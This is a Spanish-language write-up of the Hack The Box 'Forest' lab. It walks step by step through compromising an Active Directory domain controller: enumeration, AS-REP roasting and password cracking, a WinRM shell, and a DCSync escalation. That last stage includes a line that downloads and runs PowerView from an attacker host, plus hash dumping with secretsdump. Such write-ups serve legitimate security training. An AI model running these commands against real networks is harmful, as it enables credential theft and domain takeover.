Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Fácil |
Puntos: | 20 |
Lanzamiento: | 12-Octubre-2019 |
IP: | 10.10.10.161 |
Primera sangre de usuario: | cube0x0 |
Primera sangre de system: | cube0x0 |
Creadores: | egre55 & mrb3n |
Reconocimiento.
Como siempre comenzaremos con un escaneo a los 65535
puertos de la máquina para poder encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts forest.htb --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 18:55 CDT
Warning: 10.10.10.161 giving up on port because retransmission cap hit (2).
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.16s latency).
Not shown: 64513 closed ports, 1008 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 39.02 seconds
Parámetro | Descripción |
---|---|
-p- | Escanea los 65535 puertos de la máquina. |
–open | Muestra solo los puertos abiertos. |
-T5 | Velocidad del escaneo muy agresiva. |
-n | Desactivar la resolución de nombres DNS. |
-oG | Exportar escaneo en formato grepeable. |
–min-rate | Paquetes por segundo. |
Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
intrusionz3r0@kali:~$ nmap -sCV -p53,88,135,139,445,464,593,636,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49938 -oN targeted forest.htb
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-15 23:41:42Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49938/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=9/15%Time=5F614FAA%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h26m41s, deviation: 4h02m31s, median: 6m39s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2020-09-15T16:44:05-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-09-15T23:44:07
|_ start_date: 2020-09-15T07:09:01
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 15 18:39:38 2020 -- 1 IP address (1 host up) scanned in 286.09 seconds
Parámetro | Descripción |
---|---|
-sCV | Es la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios. |
-p | Especifica los puertos a enumerar. |
-oN | Exporta el escaneo en formato nmap. |
Resumen de puertos.
Los puertos que mas destacan son:
- Puerto 53 probablemente utilizado para servicios DNS.
- Puerto 88 con servicio Kerberos.
- Puerto 139 y 445 con servicios samba.
- Puerto 5985 con servicio winrm.
Enumeración Samba.
Tanto smbclient
como smbmap
no nos retorna ningún recurso compartido accesible.
1
2
3
4
5
6
intrusionz3r0@kali:~$ smbclient -L //forest.htb/ -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
1
2
intrusionz3r0@kali:~$ smbmap -H forest.htb
[+] IP: 10.10.10.161:445 Name: forest.htb
Pero vemos que podemos acceder mediante sesiones nulas por lo que mi siguiente paso es probar suerte e intentar enumerar con la herramienta rpcclient
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
intrusionz3r0@kali:~$ rpcclient forest.htb -U "" -c "enumdomusers" -N
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Esto me devolvió una gran cantidad de usuarios, ahora solo filtraré por los usuario que me interesan.
1
intrusionz3r0@kali:~$ cat u.txt | cut -d '[' -f2 | cut -d ']' -f1 | awk 'length < 15' > users.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
------------------------------
File: users.txt
------------------------------
Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi
Ataque ASREPRoast.
Para este punto era muy probable de que se tenia que llevar acabo un ataque de ASREPRoast
.
El ataque ASREPRoast se basa en encontrar usuarios que no requieren pre-autenticación de Kerberos. Lo cual significa que cualquiera puede enviar una petición AS_REQ en nombre de uno de esos usuarios y recibir un mensaje AS_REP correcto. Esta respuesta contiene un pedazo del mensaje cifrado con la clave del usuario, que se obtiene de su contraseña. Por lo tanto, este mensaje se puede tratar de crackear offline para obtener las credenciales de dicho usuario.
Para realizar el ataque haré uso de la herramienta de crackmapexec
.
1
2
3
intrusionz3r0@kali:~$ cme ldap forest.htb -u users.txt -p '' --asreproast AS_REP --kdcHost 10.10.10.161
LDAP 10.10.10.161 389 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP 10.10.10.161 389 FOREST $krb5asrep$23$svc-alfresco@HTB.LOCAL:31dc290a82f41e7a98c4b5a76d9c2a58$46e3a72060276171c1be5dcba3d966d20e963b0cd0f4fb909b5cecd0b15cde1ca695ec0d6bc942d4b18ed6dfcfc7d71f7df1e65d2d45fe88a688a385cd1a795419dacdafc5942b93e54b8e88f50a24f30e616156facaaec07592f192c3e2d2ca92163998bf5accc39508b08a3737c8192ec3a5d169a6933033466d458a9fe699e6e178d3a77b06f0d116b240a1cf74950eb4b241953f53cd0f98bfad4e2d2faaf2e31c888013c4707e8a8816af313ffe2bdd47c5c005c93a98c3c819c3f10157d1b2b20cb2cd259533dc5e95fa778ac3329ae58e427abdb973eb8b0c0fa008621d7e5d2fda8f
Ahora solo lo pasamos a john y obtenemos la contraseña de usuario svc-alfresco
.
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt AS_REP
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Remaining 1 password hash
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:20 DONE (2020-09-16 19:37) 0.04882g/s 199500p/s 199500c/s 199500C/s s3xirexi..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Credenciales: svc-alfresco:s3rvice
Shell como el usuario svc-alfresco.
Rápidamente utilizo la herramienta evil-winrm
para entrar a la máquina.
1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i forest.htb -u svc-alfresco -p s3rvice
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Enumeración con bloodhound.
Comencé a enumerar la máquina manualmente pero no pude encontrar mucho así que opte por enumerar el controlador de dominio con la herramienta bloodhound
para obtener una vista mas clara sobre cuales son las posibles rutas de explotación que podrían ayudarme a apoderarme del DC.
¿Que es Bloodhound?
Bloodhound es una aplicación de código abierto que se utiliza para analizar la seguridad de los dominios del directorio activo. La herramienta está inspirada en la teoría de grafos y los permisos de objetos del directorio activo. La herramienta realiza la ingestión de datos de los dominios de Active Directory y destaca el potencial de escalada de derechos en los dominios de Active Directory, descubriendo así rutas de ataque ocultas o complejas que pueden comprometer la seguridad de una red.
Para comenzar con la enumeración levanto el servidor de neo4j
y abro la aplicación de bloodhound
.
1
2
intrusionz3r0@kali:~$ sudo neo4j console
intrusionz3r0@kali:~$ bloodhound
Usaremos el binario SharpHound.exe para recolectar información.
Me levanto un servidor con samba que comparta el SharpHound.exe
y lo ejecuto directamente desde mi servidor.
Esto nos generara un archivo con extensión zip que vamos a descargar en nuestra máquina local.
Para importarlo solo lo arrastramos el 20200916180416_BloodHound.zip
al Bloodhound.
Una vez dentro filtramos por el usuario SVC-ALFRESCO
damos clic derecho sobre el circulo y presionamos en Mark User as Owned.
Con esto le diremos a Bloodhound que tenemos en nuestro poder al usuario SVC-ALFRESCO
.
Como podemos observar esta es la ruta mas corta para apoderarnos del DC.
Ataque DCsync.
DCsync: Este ataque nos permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. esto puede ser utilizado por los atacantes para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear Boletos Dorados.
La estrategia es la siguiente:
Podemos observar que el usuario
SVC-ALFRESCO
es miembro deSERVICE ACCOUNTS
,PRIVILAGED IT ACCOUNTS
yACCOUNTS OPERATORS
.Los miembros del grupo
ACCOUNT OPERATORS
tienen privilegios GenericAll sobre el grupoEXCHANGE WINDOWS PERMISSIONS
. Esto significa que tenemos control total para manipular cualquier objeto de destino.Los miembros del grupo
EXCHANGE WINDOWS PERMISSIONS
tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominioHTB.LOCAL
. Esto significa que podemos otorgarnos el privilegio de DcSync.Con este privilegio nosotros seremos capaces de llevar acabo un ataque de DcSync.
Para llevar acabo el ataque necesitamos hacer uso de el script de PowerView.ps1
del repositorio de PowerSploit.
Nota: Si haces clic derecho sobre la linea de WriteDacl y presionas Abuse Info puedes ver los comandos que vamos a utilizar.
Primero descargamos y ejecutamos PowerView.ps1
.
1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.24/PowerView.ps1')
Después nos agregaremos al grupo de Exchange Windows Permissions
.
1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain
Asignamos el permiso DCSync al usuario SVC-ALFRESCO
.
1
2
3
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('HTB\svc-alfresco', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity "HTB.LOCAL\Domain Admins" -Rights DCSync
Dumpeamos los hashes NTLM en nuestra máquina kali.
1
intrusionz3r0@kali:~$ sudo secretsdump.py svc-alfresco:s3rvice@10.10.10.161
y por último solo utilizamos la herramienta evil-winrm
para iniciar sesión como administrador.
1
intrusionz3r0@kali:~$ evil-winrm -i forest.htb -u Administrator -p "aad3b435b51404eeaad3****************"
¡¡Somos Administradores!!
Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.